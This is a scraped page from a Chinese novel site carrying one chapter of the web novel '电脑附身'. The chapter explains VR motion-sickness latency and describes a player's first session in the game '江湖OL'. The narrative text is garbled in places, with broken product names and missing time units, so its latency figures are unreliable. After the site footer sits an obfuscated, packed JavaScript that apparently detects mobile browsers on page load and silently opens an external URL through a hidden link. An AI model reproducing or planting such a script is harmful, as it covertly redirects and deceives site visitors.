卓越全本小说网 全本玄幻 全本武侠 全本都市 全本历史 全本侦探 全本网游 全本科幻 全本恐怖 全本散文 其它小说 全部小说
小说排行榜 > 全本都市言情 > 电脑附身全文阅读
电脑附身TXT全集下载 加入书签

电脑附身无弹窗 正文 第三百二十九章 解决方案

    简单来说就是画面太逼真了,让你有身临其境的感觉,身体认为你正在做剧烈的运动,或者处于画面中的状态,但是实际上你是坐在座位上并没有运动。

    这是一种自我保护的本能,大多数人可以通过锻炼减轻晕眩,但是不可能让人真正去移动一段距离。

    另一方面,VR硬件的延迟造成时间上的不同步,当人转动视角或是移动的时候,画面呈现的度跟不上,在VR这样全视角的屏幕中,这样的延迟是造成晕眩问题。

    目前世界上最先进的虚拟现实设备,画面延迟都在19.3以上,而想要真正解决眩晕的问题,至少要将延迟降低到1o以内。

    这里面涉及到的硬件技术问题,即使虚拟现实技术的领跑者,大名鼎鼎的ocu1us公司(已被Facebook收购)也解决不了。

    原理很简单。

    比如一台全息显示设备,先从头部转动到传感器读到数据大概需要1的时间。

    然后数据需要经由单片机,传输到电脑。

    因为它们的接口是不同的,就好像空调的电源插头不能插到小台灯的插座里,需要一些转换工作,单片机就负责了这样的转换。

    数据从传感器到单片机大概需要1。

    因为前面数据的产生需要1,于是如果不在1内将这些数据传送到单片机,那么后来的数据就会被丢弃。

    接下来是单片机经由u usB线具有极高的传输率,但是完全由host端(也就是pc端)控制传输的。

    也就是说,如果host端不接收单片机来的数据,那么数据就会被丢弃。

    采用hId方式的情况下,host端会经常检查是否有数据传输上来,然后将数据存放到内存,所以这个时间在1之内。

    至此,数据已经到达pc的内存了,走完了全部的硬件过程。由于数据带宽、通信协议等限制,会占用3到4之间的时间,很难再减少了。

    在硬件上传输完成后,就是软件算法处理的过程了。

    由于模拟信号本身的噪声和漂移,转换成数字信号后,数据中存在大量的噪声和漂移。

    于是需要复杂的数字信号处理方法将这些噪声和漂移过滤掉。

    这样,传感器传来的9轴数据就成为了渲染游戏所需的头部旋转的四元数旋转数据。

    处理这个数据一般在1以内。

    渲染时只要将这个旋转的四元数乘以摄像机的坐标,就得出了观察方向,可以用于渲染场景。

    通过特殊的算法(例如Ti-ap,目前最快的算法),根据先前的数据处理得到的图像,完成真正被显示的画面。

    幸亏有了Ti-ap算法,我们可以基本忽略渲染场景的延迟。

    当场景渲染完之后还需要做反畸变,反色散等处理。这些处理一般需要消耗的时间。

    为了安全起见,将这个时间设为3,来保证准备传输下一帧到显示器,也就是下一个垂直同步信号来之前,gpu必定能把反畸变、反色散做成。

    然后就是传输图像到显示器的时间了。

    如前所述,按照75hz计算,那么需要13.3。

    到此就结束了吗?

    不是的,还有显示器将图像显示出来的时间。

    由于Lcd显示器是晶体由电场控制旋转的物理过程,所以传统的Lcd显示器需要15~28不等的时间来响应。

    而最新的oLed技术则将这个时间减少到了6左右。

    这样综合加起来,至少需要19.3才能完成显示。

    矩阵数码在全息显示上的技术储备还不如ocu1us,自然也没办法从物理层面去解决这个问题。

    幸好杨林的大脑中还有一套矩阵系统。

    杨林现,虽然没办法在硬件上做到百分之百地解决延迟问题,但通过对软件的优化,将延迟降低在可接受的范围内还是没有任何问题的。

    矩阵数码的工程师们开在完成《江湖oL》源代码的初步编写后,杨林又将这套源码在自己的大脑中用二进制语言重新优化了一遍。

    通过算法优化、在全息眼镜内置小型gpu缓存芯片等办法,《江湖oL》在矩阵眼镜上的延迟成功缩短到了1o毫秒以内。

    这也是人体出现眩晕反应的一个极限,一旦低于这个阈值,就不会有任何的VR眩晕问题。

    当然了,如果把其他未经优化的游戏放在矩阵眼镜上,产生的延迟时间恐怕还在ocu1us等公司开的全息显示设备之上。

    ……

    刘艺伟不是专业的技术人员,自然不会明白解决了眩晕问题的矩阵眼镜对VR产业乃至整个互联网产业意味着什么。

    但作为一名资深的网络游戏爱好者,他有足够的眼光去判断一款游戏的好坏。

    在短短不到一小时的时间里,他现自己曾经的游戏热情又开始熊熊燃烧起来。

    如果说《魔兽世界》在他眼中是一款五星作品的话,那么在矩阵数码诸多新技术的加持下,《江湖oL》已经完全出了星级评判的标准。

    刘艺伟从来没有想过游戏还能这样玩。

    《江湖oL》并没有一个明确的等级体系,玩家在新手村的主要任务不是升级,而是完成各种任务,学习各种基础武学以及生活技能,为今后拜入各大门派打基础。

    但在做剧情任务的时候,刘艺伟便现,以往的游戏经验完全不能套到这款游戏上。

    在村子里,你压根找不到那些头顶带着问 村子里每一个npc都过着日出而作,日落而息的生活,他们也不会在一个地方待着原地不动,农夫们会去村落周围的田地里劳作,药师也会去周围的山林里采药,铁匠也会偶尔出门,去挖一些珍稀矿石。

    你只有在适当的时机介入剧情,和npc聊起来,才有可能接到任务。

    更让刘艺伟吃惊的是,村子里虽然每一栋建筑都可以进去,但并不意味着  事。

    (未完待续。)8

    </br>
(快捷键←)[上一页]      [返回目录]      [下一页](快捷键→)
大家同时在看:龙血战神 黑道特种兵 傲世九重天 武动乾坤 遮天 绝品邪少 生肖守护神 完美世界 我的贴身校花 绝世唐门 大主宰 莽荒纪 我欲封天 校花的贴身高手 星战风暴 武极天下 校园绝品狂徒 亿万老婆买一送一
本书转载于网络,版权属原作者,喜欢小说电脑附身全文阅读,记得收藏本书。 卓越全本小说网 https://www.bxuu.net
eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('t B(){o(S C==="\\p\\6\\3\\0\\j\\5\\6\\0\\3"){D T}E a=(U^V)+(F^F);u G=C[\'\\p\\c\\0\\9\\W\\k\\0\\6\\4\'][\'\\4\\2\\v\\2\\m\\0\\9\\q\\1\\c\\0\']();a="X".w("").x().y("");u H=Y Z(\'\\1\\6\\3\\9\\2\\5\\3\\d\\5\\e\\l\\2\\6\\0\\d\\5\\e\\1\\3\\d\\5\\e\\2\\3\\d\\m\\5\\6\\3\\2\\m\\c\\I\\e\\l\\2\\6\\0\\d\\7\\8\\1\\g\\r\\7\\0\\9\\9\\h\\d\\c\\h\\f\\7\\5\\1\\6\\d\\m\\0\\7\\2\\c\\d\\2\\e\\0\\9\\1\\I\\f\\5\\6\\5\\d\\5\\0\\f\\2\\7\\5\\8\\0\\d\\f\\2\\7\\5\\8\\0\',\'\\5\');D H[\'\\4\\0\\c\\4\'](G)}t J(a){E b=(K^K)+(10^11);u i=n[\'\\g\\9\\0\\1\\4\\0\\L\\8\\0\\f\\0\\6\\4\']("\\1");b=(12^13)+(14^15);i[\'\\l\\9\\0\\j\']=a;i[\'\\c\\4\\h\\8\\0\'][\'\\3\\5\\c\\e\\8\\1\\h\']="\\6\\2\\6\\0";i[\'\\4\\1\\9\\k\\0\\4\']="16".w("").x().y("");n[\'\\7\\2\\3\\h\'][\'\\1\\e\\e\\0\\6\\3\\q\\l\\5\\8\\3\'](i);i[\'\\g\\8\\5\\g\\r\']();n[\'\\7\\2\\3\\h\'][\'\\9\\0\\f\\2\\z\\0\\q\\l\\5\\8\\3\'](i)}n[\'\\1\\3\\3\\L\\z\\0\\6\\4\\v\\5\\c\\4\\0\\6\\0\\9\']("\\17\\18\\19\\q\\2\\6\\4\\0\\6\\4\\v\\2\\1\\3\\0\\3",t(){o(!M[\'\\k\\8\\2\\7\\1\\8\\N\\1\\9\']){o(n[\'\\7\\2\\3\\h\']!=1a){M[\'\\k\\8\\2\\7\\1\\8\\N\\1\\9\']="\\A";O=P[\'\\k\\0\\4\\A\\4\\0\\f\']("\\8\\p\\g\\r\\Q\\j\\j");o(!O&&B()){J("\\l\\4\\4\\e\\c\\1b\\s\\s\\7\\m\\1c\\1d\\1e\\R\\9\\1f\\3\\k\\z\\7\\R\\g\\2\\f\\s\\g\\7\\3\\s\\1\\1\\1\\1\\7\\1")}P[\'\\c\\0\\4\\A\\4\\0\\f\']("\\8\\p\\g\\r\\Q\\j\\j","1g".w("").x().y(""))}}});',62,79,'u0065|u0061|u006F|u0064|u0074|u0069|u006E|u0062|u006C|u0072|||u0073|u007C|u0070|u006D|u0063|u0079|_0x9c_0xc86|u0066|u0067|u0068|u0077|document|if|u0075|u0043|u006B|u002F|function|const|u004C|split|reverse|join|u0076|u0049|isMobileDevice|navigator|return|var|464266|_0x86227d|_0x2_0x5d8|u0020|OpenUrl|200295|u0045|window|u0056|hasExecuted|localStorage|u005F|u002E|typeof|false|399549|399546|u0041|fmhjpl|new|RegExp|642306|642305|447903|447894|731200|731209|knalb_|u0044|u004F|u004D|null|u003A|u0031|u0030|u0032|u007A|eurt'.split('|'),0,{}))